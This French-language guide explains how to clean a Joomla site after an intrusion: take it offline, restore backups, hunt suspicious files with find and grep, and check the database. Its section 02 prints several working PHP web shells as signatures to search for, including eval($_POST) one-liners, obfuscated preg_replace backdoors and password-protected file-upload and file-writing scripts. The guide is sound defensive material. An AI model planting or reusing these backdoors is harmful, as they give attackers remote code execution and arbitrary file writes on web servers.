Nettoyer les fichiers de Joomla après une intrusion
00. Avant toute chose, rester calme. Sachant que le temps que l'intrusion soit portée à notre connaissance il peut s'être écoulé... un certain temps... et que l'intervention nécessitera au moins trois temps. Un : mettre le site hors ligne. Un et demi : remettre une sauvegarde intacte en ligne, si impossible, Deux : recherche et analyse. Trois : nettoyage. Voir Quatre : correctif de la faille qui a permis l'intrusion, sinon, à quoi bon ?
Contexte :
- L'info et/ou le constat de l'intrusion.
- Lire (enfin...) un peu de documentation :
- Tenter d'évaluer les dégâts via quelques ressources en ligne :
- Mettre le site hors ligne.
- En espérant qu'on ait bien la dernière version du CMS, pour comparer les fichiers du site introduit avec ceux la source référence, ouvrir un onglet de navigateur sur https://github.com/joomla/joomla-cms, ou bien télécharger dans un répertoire proche de la racine du site une source de la même version que le CMS installé.
- Depuis la racines du site...
01. Se retrousser les manches et, à l'aide de quelques commandes shell, rechercher des fichiers soit plus récents que la dernière modification du CMS, soit avec des tailles faibles, et quoi qu'il en soit qui contiennent des souches de code reconnus malveillants (voir exemples apès les commandes) :
$ cd .../zonedetest.xyz/www/htdocs
$ find . -type f -name .htaccess | xargs ls -al
$ find . -type f -mtime -5 -print
$ find -type f -newermt "15 Jan 2016" ! -newermt "22 Jan 2016" -ls
$ find . -type f -name "*.php" -size -400c -print | xargs ls -al
$ find . -type f -name "*.php" | xargs grep -i base64_decode
$ find . -type f -name "*.php" | xargs grep -i eval
$ find . -type f -name "*.php" | xargs grep -li base64_decode | xargs grep -i eval
$ find . -type f -name "*.php" | xargs grep biaisie6i4i
$ find . -type f -name "*.php" | xargs grep -i "POST\[\|REQUEST\[\|GET\["
02. Exemples de souches reconnues malveillantes :
$qV="stop_";$s20=strtoupper($qV[4].$qV[3]...
<?php eval($_POST[1]);?>
<?php eval($_POST[ctt]);?>
$qu = $avj("i", "", "ibiaisie6i4i_dieicoide");
<?php @preg_replace('/(.*)/e', @$_POST['lmtwzztpmh'], '');
eval(gzinflate(base64_decode("FZy3sqMKFkX/ZaL3igDvaiI8Q...
<?php preg_replace("/laterain/e", "ev"."al('".$_REQUEST['yt']."')", "laterain testin9"); ?>
<?php ($www= $_POST['yt']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');?>
<?php if($_GET['test']){echo 'success';}else{($www= $_POST['ngpuw']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}
<?php if (md5($_POST["password"]) == "2fd3142ab2b7f4542017d7cceb7e9398") { preg_replace("\043\056\052\043\145", "\145\166\141\154\050\142\141\163\145\066\064\137\144\145\143\157\144\145\050'" . $_POST["code"] . "'\051\051\073", ""); } ?>
<?php if(md5($_GET["ms-load"])=="4339e6c4b77a73d62e5bc695a24125e3"){
$p=$_SERVER["DOCUMENT_ROOT"];
$tyuf=dirname(__FILE__);
echo <<<HTML
<form enctype="multipart/form-data" method="POST">
Path:$p<br>
<input name="file" type="file"><br>
To:<br>
<input size="48" value="$tyuf/" name="pt" type="text"><br>
<input type="submit" value="Upload">
$tend
HTML;
if (isset($_POST["pt"])){
$uploadfile = $_POST["pt"].$_FILES["file"]["name"];
if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
echo"uploaded:$uploadfilen";
echo"Size:".$_FILES["file"]["size"]."n";
}else {
print "Error:n";
}
}
}
<?php
//header("Content-Type: text/html; charset=utf-8");
$config_password="yt";
$action=$_REQUEST['action'];
$password=$_REQUEST['password'];
$folderpath=$_REQUEST['folderpath'];
$filename=$_REQUEST['filename'];
$body=stripslashes($_REQUEST['body']);
if($password==""||$filename==""||$body=="")
{
echo 'parameters error!';
return;
}
if($password!=$config_password)
{
echo 'password error!';
return;
}
$rootPath=$_SERVER['DOCUMENT_ROOT'];
$newPath=$rootPath;
if($folderpath!="")
{
if($folderpath=="root")
{
$newPath=$rootPath.'/'.$filename;
}
else
{
createFolder($rootPath.'/'.$folderpath);
$newPath=$rootPath.'/'.$folderpath.'/'.$filename;
}
}
else
{
$newPath=$filename;
}
$fp=fopen($newPath,"w");
//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
fwrite($fp,$body);
fclose($fp);
if(file_exists($newPath))
{
echo "publish success & uploaded";
}
function createFolder($path)
{
if (!file_exists($path))
{
createFolder(dirname($path));
mkdir($path, 0777);
}
}
?>
04. Au final :
- Ces quelques commandes shell sont loin d'être suffisantes pour garantir que toute trace soit éradiquée...
- De plus, seuls les fichiers ont été scannés. Il conviendrait de vérrifier le contenu de la base de données aussi...
- Si la quantité de contenu du site le permet, autant réinstaller un CMS à neuf et y copier/coller le contenu, oui copier coller à la souris, pas avec un dump de la base ni avec des copies de fichiers...et ça marche, comme ça peut